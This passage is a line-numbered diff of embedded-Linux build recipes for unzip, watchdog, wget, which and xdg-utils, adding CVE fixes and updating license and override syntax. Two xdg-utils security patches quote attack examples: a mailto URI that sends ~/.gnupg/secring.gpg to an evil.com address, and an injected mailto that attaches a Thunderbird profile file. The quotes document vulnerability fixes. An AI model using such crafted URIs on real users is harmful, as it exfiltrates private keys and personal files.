5LIC_FILES_CHKSUM = "file://LICENSE;md5=94caec5a51ef55ef711ee4e8b1c69e29" 6LIC_FILES_CHKSUM = "file://LICENSE;md5=94caec5a51ef55ef711ee4e8b1c69e29"
6PE = "1" 7PE = "1"
7PR = "r5"
8 8
9SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/UnZip%206.x%20%28latest%29/UnZip%206.0/unzip60.tar.gz \ 9SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/UnZip%206.x%20%28latest%29/UnZip%206.0/unzip60.tar.gz \
10 file://avoid-strip.patch \ 10 file://avoid-strip.patch \
@@ -25,12 +25,21 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/infozip/UnZip%206.x%20%28latest%29/UnZip%206.0/
25 file://CVE-2019-13232_p1.patch \ 25 file://CVE-2019-13232_p1.patch \
26 file://CVE-2019-13232_p2.patch \ 26 file://CVE-2019-13232_p2.patch \
27 file://CVE-2019-13232_p3.patch \ 27 file://CVE-2019-13232_p3.patch \
28 file://unzip_optimization.patch \
29 file://0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch \
30 file://CVE-2021-4217.patch \
31 file://CVE-2022-0529.patch \
32 file://CVE-2022-0530.patch \
33 file://0001-configure-Add-correct-system-headers-and-prototypes-.patch \
34 file://0001-unix-configure-fix-detection-for-cross-compilation.patch \
28" 35"
29UPSTREAM_VERSION_UNKNOWN = "1" 36UPSTREAM_VERSION_UNKNOWN = "1"
30 37
31SRC_URI[md5sum] = "62b490407489521db863b523a7f86375" 38SRC_URI[md5sum] = "62b490407489521db863b523a7f86375"
32SRC_URI[sha256sum] = "036d96991646d0449ed0aa952e4fbe21b476ce994abc276e49d30e686708bd37" 39SRC_URI[sha256sum] = "036d96991646d0449ed0aa952e4fbe21b476ce994abc276e49d30e686708bd37"
33 40
41CVE_STATUS[CVE-2008-0888] = "fixed-version: Patch from https://bugzilla.redhat.com/attachment.cgi?id=293893&action=diff applied to 6.0 source"
42
34# exclude version 5.5.2 which triggers a false positive 43# exclude version 5.5.2 which triggers a false positive
35UPSTREAM_CHECK_REGEX = "unzip(?P<pver>(?!552).+)\.tgz" 44UPSTREAM_CHECK_REGEX = "unzip(?P<pver>(?!552).+)\.tgz"
36 45
@@ -44,7 +53,7 @@ EXTRA_OEMAKE = "-e MAKEFLAGS= STRIP=true LF2='' \
44 'CF_NOOPT=-I. -Ibzip2 -DUNIX ${CFLAGS}'" 53 'CF_NOOPT=-I. -Ibzip2 -DUNIX ${CFLAGS}'"
45 54
46export LD = "${CC}" 55export LD = "${CC}"
47LD_class-native = "${CC}" 56LD:class-native = "${CC}"
48 57
49do_compile() { 58do_compile() {
50 oe_runmake -f unix/Makefile generic 59 oe_runmake -f unix/Makefile generic
@@ -61,7 +70,7 @@ inherit update-alternatives
61 70
62ALTERNATIVE_PRIORITY = "100" 71ALTERNATIVE_PRIORITY = "100"
63 72
64ALTERNATIVE_${PN} = "unzip" 73ALTERNATIVE:${PN} = "unzip"
65ALTERNATIVE_LINK_NAME[unzip] = "${bindir}/unzip" 74ALTERNATIVE_LINK_NAME[unzip] = "${bindir}/unzip"
66 75
67BBCLASSEXTEND = "native nativesdk" 76BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/watchdog/watchdog-config.bb b/meta/recipes-extended/watchdog/watchdog-config.bb
index 8bf40f0f0e..f138952128 100644
--- a/meta/recipes-extended/watchdog/watchdog-config.bb
+++ b/meta/recipes-extended/watchdog/watchdog-config.bb
@@ -5,7 +5,7 @@ the system."
5HOMEPAGE = "http://watchdog.sourceforge.net/" 5HOMEPAGE = "http://watchdog.sourceforge.net/"
6BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194" 6BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194"
7 7
8LICENSE = "MIT-X" 8LICENSE = "MIT"
9LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420" 9LIC_FILES_CHKSUM = "file://${COREBASE}/meta/COPYING.MIT;md5=3da9cfbcb788c80a0384361b4de20420"
10 10
11SRC_URI = " \ 11SRC_URI = " \
@@ -13,8 +13,15 @@ SRC_URI = " \
13 file://watchdog.conf \ 13 file://watchdog.conf \
14" 14"
15 15
16# The default value is 60 seconds when null.
17WATCHDOG_TIMEOUT ??= ""
18
16do_install() { 19do_install() {
17 install -Dm 0644 ${WORKDIR}/watchdog.default ${D}${sysconfdir}/default/watchdog 20 install -Dm 0644 ${WORKDIR}/watchdog.default ${D}${sysconfdir}/default/watchdog
18 install -Dm 0644 ${WORKDIR}/watchdog.conf ${D}${sysconfdir}/watchdog.conf 21 install -Dm 0644 ${WORKDIR}/watchdog.conf ${D}${sysconfdir}/watchdog.conf
22
23 if [ -n "${WATCHDOG_TIMEOUT}" ]; then
24 echo "watchdog-timeout = ${WATCHDOG_TIMEOUT}" >> ${D}/etc/watchdog.conf
25 fi
19} 26}
20 27
diff --git a/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch b/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch
new file mode 100644
index 0000000000..8c419e1d11
--- /dev/null
+++ b/meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch
@@ -0,0 +1,37 @@
1From ca1d379fa13c4055d42d2ff3a647b4397768efcd Mon Sep 17 00:00:00 2001
2From: Khem Raj <raj.khem@gmail.com>
3Date: Tue, 23 Aug 2022 19:23:26 -0700
4Subject: [PATCH] shutdown: Do not guard sys/quota.h sys/swap.h and
5 sys/reboot.h with __GLIBC__
6
7These headers are provided by uclibc/musl/glibc and bionic so we can
8assume they are not needed to be glibc specific includes. This also
9ensures that we get proper declaration of reboot() API
10
11Upstream-Status: Submitted [https://sourceforge.net/p/watchdog/patches/12/]
12Signed-off-by: Khem Raj <raj.khem@gmail.com>
13---
14 src/shutdown.c | 4 ----
15 1 file changed, 4 deletions(-)
16
17diff --git a/src/shutdown.c b/src/shutdown.c
18index 1d9a857..6aea0d0 100644
19--- a/src/shutdown.c
20+++ b/src/shutdown.c
21@@ -29,13 +29,9 @@
22 #include "extern.h"
23 #include "ext2_mnt.h"
24
25-#if defined __GLIBC__
26 #include <sys/quota.h>
27 #include <sys/swap.h>
28 #include <sys/reboot.h>
29-#else /* __GLIBC__ */
30-#include <linux/quota.h>
31-#endif /* __GLIBC__ */
32
33 #include <unistd.h>
34
35--
362.37.2
37
diff --git a/meta/recipes-extended/watchdog/watchdog_5.16.bb b/meta/recipes-extended/watchdog/watchdog_5.16.bb
index 19e94757c7..5325ccafda 100644
--- a/meta/recipes-extended/watchdog/watchdog_5.16.bb
+++ b/meta/recipes-extended/watchdog/watchdog_5.16.bb
@@ -5,7 +5,7 @@ it will reboot the system."
5HOMEPAGE = "http://watchdog.sourceforge.net/" 5HOMEPAGE = "http://watchdog.sourceforge.net/"
6BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194" 6BUGTRACKER = "http://sourceforge.net/tracker/?group_id=172030&atid=860194"
7 7
8LICENSE = "GPL-2.0+" 8LICENSE = "GPL-2.0-or-later"
9LIC_FILES_CHKSUM = "file://COPYING;md5=084236108b1d4a9851bf5213fea586fd" 9LIC_FILES_CHKSUM = "file://COPYING;md5=084236108b1d4a9851bf5213fea586fd"
10 10
11SRC_URI = "${SOURCEFORGE_MIRROR}/watchdog/watchdog-${PV}.tar.gz \ 11SRC_URI = "${SOURCEFORGE_MIRROR}/watchdog/watchdog-${PV}.tar.gz \
@@ -13,6 +13,7 @@ SRC_URI = "${SOURCEFORGE_MIRROR}/watchdog/watchdog-${PV}.tar.gz \
13 file://watchdog.init \ 13 file://watchdog.init \
14 file://wd_keepalive.init \ 14 file://wd_keepalive.init \
15 file://0001-wd_keepalive.service-use-run-instead-of-var-run.patch \ 15 file://0001-wd_keepalive.service-use-run-instead-of-var-run.patch \
16 file://0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch \
16" 17"
17 18
18SRC_URI[md5sum] = "1b4f51cabc64d1bee2fce7cdd626831f" 19SRC_URI[md5sum] = "1b4f51cabc64d1bee2fce7cdd626831f"
@@ -20,36 +21,31 @@ SRC_URI[sha256sum] = "b8e7c070e1b72aee2663bdc13b5cc39f76c9232669cfbb1ac0adc7275a
20 21
21# Can be dropped when the output next changes, avoids failures after 22# Can be dropped when the output next changes, avoids failures after
22# reproducibility issues 23# reproducibility issues
23PR = "r1"
24 24
25UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/watchdog/files/watchdog/" 25UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/watchdog/files/watchdog/"
26UPSTREAM_CHECK_REGEX = "/watchdog/(?P<pver>(\d+[\.\-_]*)+)/" 26UPSTREAM_CHECK_REGEX = "/watchdog/(?P<pver>(\d+[\.\-_]*)+)/"
27 27
28inherit autotools update-rc.d systemd pkgconfig 28inherit autotools update-rc.d systemd pkgconfig
29 29
30DEPENDS += "libtirpc"
31CFLAGS += "-I${STAGING_INCDIR}/tirpc"
32LDFLAGS += "-ltirpc"
33
34EXTRA_OECONF += " --disable-nfs " 30EXTRA_OECONF += " --disable-nfs "
35CACHED_CONFIGUREVARS += "ac_cv_path_PATH_SENDMAIL=${sbindir}/sendmail" 31CACHED_CONFIGUREVARS += "ac_cv_path_PATH_SENDMAIL=${sbindir}/sendmail"
36 32
37INITSCRIPT_PACKAGES = "${PN} ${PN}-keepalive" 33INITSCRIPT_PACKAGES = "${PN} ${PN}-keepalive"
38 34
39INITSCRIPT_NAME_${PN} = "watchdog" 35INITSCRIPT_NAME:${PN} = "watchdog"
40INITSCRIPT_PARAMS_${PN} = "start 25 1 2 3 4 5 . stop 85 0 6 ." 36INITSCRIPT_PARAMS:${PN} = "start 25 1 2 3 4 5 . stop 85 0 6 ."
41 37
42INITSCRIPT_NAME_${PN}-keepalive = "wd_keepalive" 38INITSCRIPT_NAME:${PN}-keepalive = "wd_keepalive"
43INITSCRIPT_PARAMS_${PN}-keepalive = "start 25 1 2 3 4 5 . stop 85 0 6 ." 39INITSCRIPT_PARAMS:${PN}-keepalive = "start 25 1 2 3 4 5 . stop 85 0 6 ."
44 40
45SYSTEMD_PACKAGES = "${PN} ${PN}-keepalive" 41SYSTEMD_PACKAGES = "${PN} ${PN}-keepalive"
46SYSTEMD_SERVICE_${PN} = "watchdog.service" 42SYSTEMD_SERVICE:${PN} = "watchdog.service"
47SYSTEMD_SERVICE_${PN}-keepalive = "wd_keepalive.service" 43SYSTEMD_SERVICE:${PN}-keepalive = "wd_keepalive.service"
48# When using systemd, consider making use of internal watchdog support of systemd. 44# When using systemd, consider making use of internal watchdog support of systemd.
49# See RuntimeWatchdogSec in /etc/systemd/system.conf. 45# See RuntimeWatchdogSec in /etc/systemd/system.conf.
50SYSTEMD_AUTO_ENABLE = "disable" 46SYSTEMD_AUTO_ENABLE = "disable"
51 47
52do_install_append() { 48do_install:append() {
53 install -d ${D}${systemd_system_unitdir} 49 install -d ${D}${systemd_system_unitdir}
54 install -m 0644 ${S}/debian/watchdog.service ${D}${systemd_system_unitdir} 50 install -m 0644 ${S}/debian/watchdog.service ${D}${systemd_system_unitdir}
55 install -m 0644 ${S}/debian/wd_keepalive.service ${D}${systemd_system_unitdir} 51 install -m 0644 ${S}/debian/wd_keepalive.service ${D}${systemd_system_unitdir}
@@ -63,15 +59,15 @@ do_install_append() {
63 59
64PACKAGES =+ "${PN}-keepalive" 60PACKAGES =+ "${PN}-keepalive"
65 61
66FILES_${PN}-keepalive = " \ 62FILES:${PN}-keepalive = " \
67 ${sysconfdir}/init.d/wd_keepalive \ 63 ${sysconfdir}/init.d/wd_keepalive \
68 ${systemd_system_unitdir}/wd_keepalive.service \ 64 ${systemd_system_unitdir}/wd_keepalive.service \
69 ${sbindir}/wd_keepalive \ 65 ${sbindir}/wd_keepalive \
70" 66"
71 67
72RDEPENDS_${PN} += "${PN}-config" 68RDEPENDS:${PN} += "${PN}-config"
73RRECOMMENDS_${PN} += "kernel-module-softdog" 69RRECOMMENDS:${PN} += "kernel-module-softdog"
74 70
75RDEPENDS_${PN}-keepalive += "${PN}-config" 71RDEPENDS:${PN}-keepalive += "${PN}-config"
76RCONFLICTS_${PN}-keepalive += "${PN}" 72RCONFLICTS:${PN}-keepalive += "${PN}"
77RRECOMMENDS_${PN}-keepalive += "kernel-module-softdog" 73RRECOMMENDS:${PN}-keepalive += "kernel-module-softdog"
diff --git a/meta/recipes-extended/wget/wget.inc b/meta/recipes-extended/wget/wget.inc
index 2338328216..51926e7296 100644
--- a/meta/recipes-extended/wget/wget.inc
+++ b/meta/recipes-extended/wget/wget.inc
@@ -6,22 +6,24 @@ The program supports recursive retrieval of web-authoring pages as well as \
6FTP sites" 6FTP sites"
7HOMEPAGE = "https://www.gnu.org/software/wget/" 7HOMEPAGE = "https://www.gnu.org/software/wget/"
8SECTION = "console/network" 8SECTION = "console/network"
9LICENSE = "GPLv3" 9LICENSE = "GPL-3.0-only"
10LIC_FILES_CHKSUM = "file://COPYING;md5=c678957b0c8e964aa6c70fd77641a71e" 10LIC_FILES_CHKSUM = "file://COPYING;md5=6f65012d1daf98cb09b386cfb68df26b"
11 11
12inherit autotools gettext texinfo update-alternatives pkgconfig 12inherit autotools gettext texinfo update-alternatives pkgconfig
13 13
14DEPENDS += "autoconf-archive-native"
15
14EXTRA_OECONF = "--without-libgnutls-prefix --without-libssl-prefix \ 16EXTRA_OECONF = "--without-libgnutls-prefix --without-libssl-prefix \
15 --disable-rpath" 17 --disable-rpath"
16 18
17EXTRA_OEMAKE += 'TOOLCHAIN_OPTIONS="${TOOLCHAIN_OPTIONS}" \ 19EXTRA_OEMAKE += 'TOOLCHAIN_OPTIONS="${TOOLCHAIN_OPTIONS}" \
18 DEBUG_PREFIX_MAP="${DEBUG_PREFIX_MAP}"' 20 DEBUG_PREFIX_MAP="${DEBUG_PREFIX_MAP}"'
19 21
20ALTERNATIVE_${PN} = "wget" 22ALTERNATIVE:${PN} = "wget"
21ALTERNATIVE_${PN}_class-nativesdk = "" 23ALTERNATIVE:${PN}:class-nativesdk = ""
22ALTERNATIVE_PRIORITY = "100" 24ALTERNATIVE_PRIORITY = "100"
23 25
24RRECOMMENDS_${PN} += "ca-certificates" 26RRECOMMENDS:${PN} += "ca-certificates"
25 27
26BBCLASSEXTEND = "nativesdk" 28BBCLASSEXTEND = "nativesdk"
27 29
diff --git a/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch b/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
index 050fc2c7e1..5438bafdcb 100644
--- a/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
+++ b/meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch
@@ -1,4 +1,4 @@
1From 7f1357529d23b356b45fbb0dd7388588162e4cb8 Mon Sep 17 00:00:00 2001 1From b86e57b68363d108fe77c6fd588a275d2696cabe Mon Sep 17 00:00:00 2001
2From: Hongxu Jia <hongxu.jia@windriver.com> 2From: Hongxu Jia <hongxu.jia@windriver.com>
3Date: Wed, 10 Jan 2018 14:43:20 +0800 3Date: Wed, 10 Jan 2018 14:43:20 +0800
4Subject: [PATCH] src/Makefile.am: improve reproducibility 4Subject: [PATCH] src/Makefile.am: improve reproducibility
@@ -44,10 +44,10 @@ Signed-off-by: Joe Slater <jslater@windriver.com>
44 1 file changed, 4 insertions(+) 44 1 file changed, 4 insertions(+)
45 45
46diff --git a/src/Makefile.am b/src/Makefile.am 46diff --git a/src/Makefile.am b/src/Makefile.am
47index 28c0be2..44084a3 100644 47index 18ec622..38d252d 100644
48--- a/src/Makefile.am 48--- a/src/Makefile.am
49+++ b/src/Makefile.am 49+++ b/src/Makefile.am
50@@ -87,9 +87,13 @@ version.c: $(wget_SOURCES) ../lib/libgnu.a 50@@ -108,9 +108,13 @@ version.c: $(wget_SOURCES) ../lib/libgnu.a
51 echo '#include "version.h"' >> $@ 51 echo '#include "version.h"' >> $@
52 echo 'const char *version_string = "@VERSION@";' >> $@ 52 echo 'const char *version_string = "@VERSION@";' >> $@
53 echo 'const char *compilation_string = "'$(COMPILE)'";' \ 53 echo 'const char *compilation_string = "'$(COMPILE)'";' \
@@ -61,6 +61,3 @@ index 28c0be2..44084a3 100644
61 | $(ESCAPEQUOTE) >> $@ 61 | $(ESCAPEQUOTE) >> $@
62 62
63 css.c: $(srcdir)/css.l 63 css.c: $(srcdir)/css.l
64--
651.8.3.1
66
diff --git a/meta/recipes-extended/wget/wget_1.21.1.bb b/meta/recipes-extended/wget/wget_1.24.5.bb
index 21385bbfb2..64e6ee80af 100644
--- a/meta/recipes-extended/wget/wget_1.21.1.bb
+++ b/meta/recipes-extended/wget/wget_1.24.5.bb
@@ -2,6 +2,6 @@ SRC_URI = "${GNU_MIRROR}/wget/wget-${PV}.tar.gz \
2 file://0002-improve-reproducibility.patch \ 2 file://0002-improve-reproducibility.patch \
3 " 3 "
4 4
5SRC_URI[sha256sum] = "59ba0bdade9ad135eda581ae4e59a7a9f25e3a4bde6a5419632b31906120e26e" 5SRC_URI[sha256sum] = "fa2dc35bab5184ecbc46a9ef83def2aaaa3f4c9f3c97d4bd19dcb07d4da637de"
6 6
7require wget.inc 7require wget.inc
diff --git a/meta/recipes-extended/which/which_2.21.bb b/meta/recipes-extended/which/which_2.21.bb
index 1da69c548e..77861370e5 100644
--- a/meta/recipes-extended/which/which_2.21.bb
+++ b/meta/recipes-extended/which/which_2.21.bb
@@ -6,14 +6,13 @@ It does this by using the exact same algorithm as bash."
6SECTION = "libs" 6SECTION = "libs"
7HOMEPAGE = "https://carlowood.github.io/which/" 7HOMEPAGE = "https://carlowood.github.io/which/"
8 8
9LICENSE = "GPLv3+" 9LICENSE = "GPL-3.0-or-later"
10LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504\ 10LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504\
11 file://which.c;beginline=1;endline=17;md5=a9963693af2272e7a8df6f231164e7a2" 11 file://which.c;beginline=1;endline=17;md5=a9963693af2272e7a8df6f231164e7a2"
12DEPENDS = "cwautomacros-native" 12DEPENDS = "cwautomacros-native"
13 13
14inherit autotools texinfo update-alternatives 14inherit autotools texinfo update-alternatives
15 15
16PR = "r3"
17 16
18EXTRA_OECONF = "--disable-iberty" 17EXTRA_OECONF = "--disable-iberty"
19 18
@@ -24,14 +23,14 @@ SRC_URI = "${GNU_MIRROR}/which/which-${PV}.tar.gz \
24SRC_URI[md5sum] = "097ff1a324ae02e0a3b0369f07a7544a" 23SRC_URI[md5sum] = "097ff1a324ae02e0a3b0369f07a7544a"
25SRC_URI[sha256sum] = "f4a245b94124b377d8b49646bf421f9155d36aa7614b6ebf83705d3ffc76eaad" 24SRC_URI[sha256sum] = "f4a245b94124b377d8b49646bf421f9155d36aa7614b6ebf83705d3ffc76eaad"
26 25
27do_configure_prepend() { 26do_configure:prepend() {
28 sed -i -e 's%@ACLOCAL_CWFLAGS@%-I ${STAGING_DIR_NATIVE}/usr/share/cwautomacros/m4%g' ${S}/Makefile.am ${S}/tilde/Makefile.am 27 sed -i -e 's%@ACLOCAL_CWFLAGS@%-I ${STAGING_DIR_NATIVE}/usr/share/cwautomacros/m4%g' ${S}/Makefile.am ${S}/tilde/Makefile.am
29} 28}
30 29
31ALTERNATIVE_${PN} = "which" 30ALTERNATIVE:${PN} = "which"
32ALTERNATIVE_PRIORITY = "100" 31ALTERNATIVE_PRIORITY = "100"
33 32
34ALTERNATIVE_${PN}-doc = "which.1" 33ALTERNATIVE:${PN}-doc = "which.1"
35ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1" 34ALTERNATIVE_LINK_NAME[which.1] = "${mandir}/man1/which.1"
36 35
37BBCLASSEXTEND = "nativesdk" 36BBCLASSEXTEND = "nativesdk"
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
new file mode 100644
index 0000000000..948b9e22e9
--- /dev/null
+++ b/meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch
@@ -0,0 +1,58 @@
1From 1f199813e0eb0246f63b54e9e154970e609575af Mon Sep 17 00:00:00 2001
2From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= <joerg@thalheim.io>
3Date: Tue, 18 Aug 2020 16:52:24 +0100
4Subject: [PATCH] xdg-email: remove attachment handling from mailto
5MIME-Version: 1.0
6Content-Type: text/plain; charset=UTF-8
7Content-Transfer-Encoding: 8bit
8
9This allows attacker to extract secrets from users:
10
11mailto:sid@evil.com?attach=/.gnupg/secring.gpg
12
13See also https://bugzilla.mozilla.org/show_bug.cgi?id=1613425
14and https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177
15
16Signed-off-by: Jörg Thalheim <joerg@thalheim.io>
17---
18 scripts/xdg-email.in | 7 +------
19 1 file changed, 1 insertion(+), 6 deletions(-)
20
21Upstream-Status: Backport
22CVE: CVE-2020-27748
23
24diff --git a/scripts/xdg-email.in b/scripts/xdg-email.in
25index 6db58ad..5d2f4f3 100644
26--- a/scripts/xdg-email.in
27+++ b/scripts/xdg-email.in
28@@ -32,7 +32,7 @@ _USAGE
29
30 run_thunderbird()
31 {
32- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY ATTACH
33+ local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
34 THUNDERBIRD="$1"
35 MAILTO=$(echo "$2" | sed 's/^mailto://')
36 echo "$MAILTO" | grep -qs "^?"
37@@ -48,7 +48,6 @@ run_thunderbird()
38 BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
39 SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
40 BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
41- ATTACH=$(/bin/echo -e $(echo "$MAILTO" | grep '^attach=' | sed 's/^attach=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }' | sed 's/,$//'))
42
43 if [ -z "$TO" ] ; then
44 NEWMAILTO=
45@@ -68,10 +67,6 @@ run_thunderbird()
46 NEWMAILTO="${NEWMAILTO},$BODY"
47 fi
48
49- if [ -n "$ATTACH" ] ; then
50- NEWMAILTO="${NEWMAILTO},attachment='${ATTACH}'"
51- fi
52-
53 NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
54 DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
55 "$THUNDERBIRD" -compose "$NEWMAILTO"
56--
57GitLab
58
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch
new file mode 100644
index 0000000000..b236030108
--- /dev/null
+++ b/meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch
@@ -0,0 +1,145 @@
1xdg-email does not parse mailto uris properly for thunderbird
2
3When using thunderbird as mailto handler xdg-email translates mailto uris into an 'thunderbird -compose' argument. While to, cc and bcc values are properly enclosed in single quotes this is not the case for subject or body. This breaks functionality and allows to use all thunderbird -compose arguments within a mailto uri, e.g.
4
5xdg-email 'mailto:test@example.com?subject=Test,attachment=~/.thunderbird/profiles.ini,message=/home/test/test.txt'
6
7translates into
8
9thunderbird -compose to='test@example.com,',subject=Test,attachment=~/.thunderbird/profiles.ini,message=/home/test/test.txt
10
11with working attachment and message. (And, yes, ~ expands to the home directory.)
12
13Upstream-Status: Submitted [https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/205]
14
15Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
16
17CVE: CVE-2022-4055
18
19
20Index: xdg-utils-1.1.3/scripts/xdg-email.in
21===================================================================
22--- xdg-utils-1.1.3.orig/scripts/xdg-email.in
23+++ xdg-utils-1.1.3/scripts/xdg-email.in
24@@ -30,53 +30,6 @@ _USAGE
25
26 #@xdg-utils-common@
27
28-run_thunderbird()
29-{
30- local THUNDERBIRD MAILTO NEWMAILTO TO CC BCC SUBJECT BODY
31- THUNDERBIRD="$1"
32- MAILTO=$(echo "$2" | sed 's/^mailto://')
33- echo "$MAILTO" | grep -qs "^?"
34- if [ "$?" = "0" ] ; then
35- MAILTO=$(echo "$MAILTO" | sed 's/^?//')
36- else
37- MAILTO=$(echo "$MAILTO" | sed 's/^/to=/' | sed 's/?/\&/')
38- fi
39-
40- MAILTO=$(echo "$MAILTO" | sed 's/&/\n/g')
41- TO=$(/bin/echo -e $(echo "$MAILTO" | grep '^to=' | sed 's/^to=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
42- CC=$(/bin/echo -e $(echo "$MAILTO" | grep '^cc=' | sed 's/^cc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
43- BCC=$(/bin/echo -e $(echo "$MAILTO" | grep '^bcc=' | sed 's/^bcc=//;s/%\(..\)/\\x\1/g' | awk '{ printf "%s,",$0 }'))
44- SUBJECT=$(echo "$MAILTO" | grep '^subject=' | tail -n 1)
45- BODY=$(echo "$MAILTO" | grep '^body=' | tail -n 1)
46-
47- if [ -z "$TO" ] ; then
48- NEWMAILTO=
49- else
50- NEWMAILTO="to='$TO'"
51- fi
52- if [ -n "$CC" ] ; then
53- NEWMAILTO="${NEWMAILTO},cc='$CC'"
54- fi
55- if [ -n "$BCC" ] ; then
56- NEWMAILTO="${NEWMAILTO},bcc='$BCC'"
57- fi
58- if [ -n "$SUBJECT" ] ; then
59- NEWMAILTO="${NEWMAILTO},$SUBJECT"
60- fi
61- if [ -n "$BODY" ] ; then
62- NEWMAILTO="${NEWMAILTO},$BODY"
63- fi
64-
65- NEWMAILTO=$(echo "$NEWMAILTO" | sed 's/^,//')
66- DEBUG 1 "Running $THUNDERBIRD -compose \"$NEWMAILTO\""
67- "$THUNDERBIRD" -compose "$NEWMAILTO"
68- if [ $? -eq 0 ]; then
69- exit_success
70- else
71- exit_failure_operation_failed
72- fi
73-}
74-
75 open_kde()
76 {
77 if [ -n "$KDE_SESSION_VERSION" ] && [ "$KDE_SESSION_VERSION" -ge 5 ]; then
78@@ -130,15 +83,6 @@ open_kde()
79
80 open_gnome3()
81 {
82- local client
83- local desktop
84- desktop=`xdg-mime query default "x-scheme-handler/mailto"`
85- client=`desktop_file_to_binary "$desktop"`
86- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
87- if [ $? -eq 0 ] ; then
88- run_thunderbird "$client" "$1"
89- fi
90-
91 if gio help open 2>/dev/null 1>&2; then
92 DEBUG 1 "Running gio open \"$1\""
93 gio open "$1"
94@@ -159,13 +103,6 @@ open_gnome3()
95
96 open_gnome()
97 {
98- local client
99- client=`gconftool-2 --get /desktop/gnome/url-handlers/mailto/command | cut -d ' ' -f 1` || ""
100- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
101- if [ $? -eq 0 ] ; then
102- run_thunderbird "$client" "$1"
103- fi
104-
105 if gio help open 2>/dev/null 1>&2; then
106 DEBUG 1 "Running gio open \"$1\""
107 gio open "$1"
108@@ -231,15 +168,6 @@ open_flatpak()
109
110 open_generic()
111 {
112- local client
113- local desktop
114- desktop=`xdg-mime query default "x-scheme-handler/mailto"`
115- client=`desktop_file_to_binary "$desktop"`
116- echo $client | grep -E 'thunderbird|icedove' > /dev/null 2>&1
117- if [ $? -eq 0 ] ; then
118- run_thunderbird "$client" "$1"
119- fi
120-
121 xdg-open "$1"
122 local ret=$?
123
124@@ -364,21 +292,6 @@ while [ $# -gt 0 ] ; do
125 shift
126 ;;
127
128- --attach)
129- if [ -z "$1" ] ; then
130- exit_failure_syntax "file argument missing for --attach option"
131- fi
132- check_input_file "$1"
133- file=`readlink -f "$1"` # Normalize path
134- if [ -z "$file" ] || [ ! -f "$file" ] ; then
135- exit_failure_file_missing "file '$1' does not exist"
136- fi
137-
138- url_encode "$file"
139- options="${options}attach=${result}&"
140- shift
141- ;;
142-
143 -*)
144 exit_failure_syntax "unexpected option '$parm'"
145 ;;
diff --git a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
index d371c5c28c..4d93180535 100644
--- a/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
+++ b/meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb
@@ -20,6 +20,8 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=a5367a90934098d6b05af3b746405014"
20SRC_URI = "https://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \ 20SRC_URI = "https://portland.freedesktop.org/download/${BPN}-${PV}.tar.gz \
21 file://0001-Reinstate-xdg-terminal.patch \ 21 file://0001-Reinstate-xdg-terminal.patch \
22 file://0001-Don-t-build-the-in-script-manual.patch \ 22 file://0001-Don-t-build-the-in-script-manual.patch \
23 file://1f199813e0eb0246f63b54e9e154970e609575af.patch \
24 file://CVE-2022-4055.patch \
23 " 25 "
24 26
25SRC_URI[md5sum] = "902042508b626027a3709d105f0b63ff" 27SRC_URI[md5sum] = "902042508b626027a3709d105f0b63ff"
@@ -34,4 +36,4 @@ inherit autotools-brokensep features_check
